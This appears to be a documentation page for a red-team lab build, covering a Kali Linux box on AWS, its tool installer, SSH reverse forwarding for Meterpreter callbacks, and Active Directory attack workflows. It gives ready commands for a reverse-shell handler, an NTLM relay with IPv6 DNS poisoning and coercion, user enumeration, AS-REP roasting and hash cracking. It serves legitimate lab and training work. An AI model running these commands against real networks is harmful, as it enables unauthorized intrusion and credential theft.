Repository navigation
14. Kali
Home > Kali
A dedicated Linux box for the AD enumeration, attack, and tunneling work that doesn't fit cleanly on the Windows operator. Lives in the Teamserver VPC, reachable through Guacamole (SSH always; XRDP when in GUI mode).
On this page: AMI subscription · headless vs GUI mode selection · admin user rename · post-deploy GUI conversion · the 21-package install-kali-tools script · SSH port-forwarding for Meterpreter callbacks · common AD attack workflows · troubleshooting.
| At a glance | |
|---|---|
| Hostname |
kali (private VPC only) |
| SSH user |
admin (renamed from AMI default kali) |
| Default mode |
headless (t3.medium, 30 GB) |
| GUI mode |
gui (t3.large, 50 GB, XFCE + XRDP) |
| Post-deploy GUI conversion | sudo kali-go-gui |
| Tool installer |
sudo install-kali-tools (21-package AD/enum lineup) |
| Marketplace EULA | one-time per AWS account, see Step 0.5 |
The official Kali Linux AMIs are shared publicly on AWS Marketplace at no charge, but AWS requires a one-time EULA acceptance per account before any instance can launch from the AMI. Skip this and your first terraform apply fails with OptInRequired.
- Sign in to the AWS account you'll deploy redStack into.
- Visit https://aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to.
- Click Continue to Subscribe, then Accept Terms.
This is documented in the main README's Part 0: Pre-Deployment Checklist as Step 0.5. The acceptance is permanent for the life of the AWS account.

Two modes, selected at deploy time via kali_deployment_mode in terraform.tfvars:
| Mode | Instance | Disk | Access | Use case |
|---|---|---|---|---|
headless (default)
|
t3.medium | 30 GB | SSH only via Guacamole | Most CTF / training sessions. Fastest boot. |
gui |
t3.large | 50 GB | SSH + XRDP via Guacamole | When you need a desktop browser, Burp, BloodHound CE GUI, or other graphical tools. |
The mode picks the instance type and root disk size automatically. Override either with kali_instance_type and kali_volume_size in tfvars if you want something specific (for example, a larger box for hashcat work).
The Security Group always permits XRDP (3389) from the Guacamole SG regardless of mode. This means switching from headless to GUI later does not require Terraform changes; see Switching Headless → GUI Post-Deploy below.
After terraform apply finishes, the connection details appear in the Terraform output as Section 7: KALI LINUX OPERATOR. Connect via Guacamole:
- Open the Guacamole portal (URL printed in the Terraform output).
- Sign in as
guacadminwith the lab password. - Open the Kali (SSH) connection.
- The MOTD banner is printed on every login showing current mode and the helper commands.

Note
The AMI ships with a kali user by default. redStack renames this user to admin during user-data so SSH usernames stay consistent across all Linux lab hosts (Mythic, Sliver, Havoc, Redirector, Guacamole, Kali). The rename runs as the first user-data action; wait for the MOTD banner before logging in to confirm it completed.
The 21-tool AD/enum suite runs automatically during provisioning — tools are ready on first login. To refresh or re-install after a failed package:
sudo install-kali-toolsThe script is idempotent and safe to re-run; it upgrades existing packages.
Twenty-one packages, weighted toward Active Directory enumeration and attack. metasploit-framework is intentionally not in the list; exploitation flows through the C2 servers in this lab. Web app testing tools beyond gobuster (Burp, sqlmap, nikto) are similarly left out so you can install them on demand when needed.
| Bucket | Tools | Purpose |
|---|---|---|
| Network enumeration |
nmap, enum4linux-ng, smbmap, mitm6
|
Port scans, SMB discovery, IPv6 DNS poisoning for relay |
| AD enumeration |
pre2k, ldap-utils, windapsearch, adidnsdump
|
Pre-Win2k accounts, LDAP queries, AD DNS dumps |
| Wordlists / web |
seclists, gobuster
|
Wordlist library, directory/DNS/vhost brute-forcing |
| AD attack |
coercer, impacket-scripts, netexec, evil-winrm, bloodhound.py, kerbrute, certipy-ad
|
Coercion, AD RPC abuse, auth spray, WinRM, BloodHound ingestion, Kerberos pre-auth, ADCS abuse |
| Credentials / relay |
responder, hashcat, john
|
LLMNR/NTLM relay, GPU/CPU hash cracking |
| Meta | pipx |
PEP 668-compliant Python tool installer for things outside the lineup |
If you need something not in the list (BloodHound CE GUI on the box, sqlmap, wireshark, ligolo-ng, chisel, etc.), apt install it directly. The lineup is meant to be a productive baseline, not exhaustive.

Tip
If a package fails on first boot (rolling release timing), re-run sudo install-kali-tools. The script skips already-installed packages and retries only the failures.
Started in headless mode and want a desktop later? No re-apply needed:
sudo kali-go-guiThe script installs kali-desktop-xfce and xrdp, configures the X session, and enables and starts xrdp.service. The conversion takes ~4 minutes. The Security Group already allows port 3389 from the Guacamole SG.
After the converter finishes, run this on the Guacamole host to register the XRDP connection:
sudo /opt/redstack/register-kali-rdp.shThen refresh the Guacamole home page — Kali (XRDP) will appear in the connection list. The MOTD banner updates after conversion to reflect GUI mode.

Important
Read the Two Operating Modes section before opening any port. The guidance differs significantly between Tunneled Access (HTB / VulnLab / Proving Grounds via OpenVPN) and Direct Access. The wrong move in Direct Access exposes an unauthenticated handler to the internet.
This is the most common reason operators reach for the redirector when working from Kali: getting reverse shells, Meterpreter sessions, or other non-HTTP callbacks back through the redirector's tun0 (OpenVPN) tunnel from a CTF target.
The redirector runs in one of two modes depending on enable_vpn_tunnel in tfvars:
| Mode | tfvar | Inbound surface | Port forwarding policy |
|---|---|---|---|
| Tunneled Access | enable_vpn_tunnel = true |
OpenVPN tun0 to a registered cyber range only |
Port forwarding is appropriate. Listeners on tun0 are isolated to the registered range. |
| Direct Access | enable_vpn_tunnel = false |
80/443 publicly via Apache | Do not open additional callback ports. Use the C2 frameworks behind Apache. |
In Direct Access, the AWS Security Group is the hard outer boundary: only 80 and 443 are reachable from the internet. Exposing a callback port to the public internet requires a deliberate SG edit, which is a conscious Terraform change. ssh -R alone cannot do it, so the SG provides a meaningful guardrail. The risk is an operator taking that deliberate step in the heat of an engagement and leaving an unauthenticated handler exposed for opportunists to find. Don't do that. Use Mythic, Sliver, or Havoc through the redirector; the URI prefix and header validation exist for exactly this reason.
The rest of this section assumes Tunneled Access mode. If you genuinely need a custom callback port in Direct Access (rare), see Direct Access escape hatch at the bottom.
The redirector terminates the OpenVPN tunnel; the CTF target sees the redirector's tun0 IP as the source. To get a callback from the target to your handler on Kali, you need to publish a port on tun0 that forwards to Kali.
Three reasonable patterns:
-
Run the handler on the redirector itself: Simplest. SSH to the redirector, run
msfconsole, setLHOST=<tun0 ip>. Listener and ingress co-located, no tunnel required. Best for one-off engagements. -
Run the handler on Kali, expose it via
ssh -R: Listener stays on Kali (where your project files live), but the inbound port is published on the redirector's tun0 interface. Best when you want session control on Kali and the handler integrates with other tooling there. - Run the handler on Kali, expose it via iptables DNAT: Persistent forwarder. Not part of v0.3, deferred. Use pattern 2 instead.
The redirector's sshd is configured with GatewayPorts clientspecified, which means a remote forward bound to a non-localhost address is opt-in per command:
# From Kali. Listener on Kali :4444 receives traffic that arrives on
# redirector's tun0:4444. The * tells sshd to bind on tun0 (and any other
# interface), required because of GatewayPorts clientspecified.
ssh -R '*:4444:localhost:4444' admin@redirectorThen on Kali, in another tab, set up the listener:
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST <redirector tun0 ip>; set LPORT 4444; exploit -j"When generating the payload, use LHOST=<redirector tun0 ip>, not the Kali private IP. The target connects to the redirector's tun0 IP on 4444; sshd forwards that traffic to your listener on Kali.
To find the redirector's tun0 IP:
ssh admin@redirector "ip -4 -o addr show tun0 | awk '{print \$4}'"Operational discipline matters more here than architecture:
-
Run tunnels in
screen: A baressh -Rdies with your terminal.screen -dmS callback ssh -R '*:4444:localhost:4444' admin@redirectorkeeps it persistent and discoverable. -
List active sessions before you start a new engagement:
screen -lson Kali;ss -tlnpon the redirector. Forgotten tunnels mean stale listeners answering for the wrong target. -
Bind to a specific interface when possible:
ssh -R 'tun0:4444:...'is safer thanssh -R '*:4444:...'because it won't accidentally bind on the redirector's public ENI. The SG would block public traffic anyway, but defense in depth. -
Rotate ports per engagement: Don't reuse
4444for every box. The next operator scanning the range will find it; so will the wrong target if your tunnel survives between sessions. -
Tear down explicitly:
ssh -O exit -R '*:4444:localhost:4444' admin@redirectorfrom a control-master session, or kill the screen session:screen -S callback -X quit. Then verify withss -tlnpthat the listener is gone.
If the redirector is in Direct Access and you genuinely need a non-HTTP callback (pause and reconsider first; Mythic, Sliver, or Havoc almost certainly cover the case better):
- Edit
security_groups.tfto add an explicit ingress rule on the redirector SG:from_port = 4444,to_port = 4444,cidr_blocks = ["<target's known egress IP>/32"]. Never0.0.0.0/0. -
terraform apply. - Use the SSH reverse forward pattern as above.
-
As soon as the engagement ends, remove the SG rule and
terraform applyagain. Do not leave the rule in place between sessions. - Use staged payloads with cookies / UUID validation so a stray scanner can't land a session.
- Consider whether you should be doing this at all. Mythic on the redirector handles 99% of Direct Access callback workflows with proper authentication.
### BloodHound collection
# From Kali, against an AD domain target reachable through the lab
bloodhound-python -u <user> -p <password> -d <domain.local> -ns <dc-ip> -c All --zipBloodHound CE is not installed on the Kali box to keep the image size small. Import the resulting .zip into BloodHound CE on your local machine for visualization.
# Tab 1: relay listener
sudo ntlmrelayx.py -t ldaps://<dc-ip> -smb2support --escalate-user <yourcontrolleduser>
# Tab 2: IPv6 DNS poisoning
sudo mitm6 -d <domain.local>
# Tab 3: coerce a target into authenticating
coercer coerce -u <user> -p <password> -t <victim-ip> -l <kali-ip>The mitm6 + coercer + ntlmrelayx chain is one of the most common AD attack paths in modern training labs. All three are pre-installed by install-kali-tools.
kerbrute userenum --dc <dc-ip> -d <domain.local> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
GetNPUsers.py <domain.local>/ -dc-ip <dc-ip> -usersfile valid_users.txt -no-pass -format hashcat -outputfile asreproasted.hash
hashcat -m 18200 asreproasted.hash /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txtNote
The examples below are reference patterns, not step-by-step labs. Your specific targets, credentials, and domain configuration will vary by platform (HTB, VulnLab, Proving Grounds, etc.). The intent is to show how these tools connect through the redStack network path, not to walk through a specific machine.
Traffic routing reminder: Kali sits in the Teamserver VPC. In Tunneled Access (OpenVPN enabled), traffic to the configured external CIDRs routes automatically through the Guacamole ENI and out the redirector's tun0. Tools like nmap, netexec, and impacket work against those targets with no special configuration. For non-HTTP callback paths (e.g. Meterpreter), see the Port Forwarding section above to understand when ssh -R is needed.
A handful of Kali packages occasionally fail because of upstream rolling releases. The script does not abort on per-package failures, it reports the failed list and exits with a non-zero status so automation can detect it. Re-run the script after a few hours; a stuck package usually clears with the next mirror sync.
sudo install-kali-tools 2>&1 | tee /tmp/install.log
# If specific packages still fail, investigate:
apt-cache policy <package-name>The banner reads kali_deployment_mode from the time of provisioning. If you ran kali-go-gui to convert post-deploy, the converter rewrites the banner. If it didn't, edit /etc/update-motd.d/99-kali-mode directly, change Mode: HEADLESS to Mode: GUI.
Expected. The user-data script renames kali to admin so all Linux lab hosts share the same SSH user. Use ssh admin@kali (from another lab host) or the Guacamole Kali (SSH) connection.
xrdp.service may not have come up cleanly. From an SSH session:
sudo systemctl status xrdp
sudo systemctl restart xrdp
sudo ss -tlnp | grep 3389If port 3389 is not bound, check /var/log/xrdp.log and /var/log/xrdp-sesman.log.
GatewayPorts clientspecified requires the explicit bind address syntax: ssh -R '*:4444:localhost:4444' or ssh -R 'tun0:4444:localhost:4444'. Plain ssh -R 4444:localhost:4444 will silently bind to localhost only and fail to receive external traffic.
← Previous: Windows | Next: Guacamole →
“Try Harder.”
Offensive Security / Mati Aharoni (PWK, ~2008)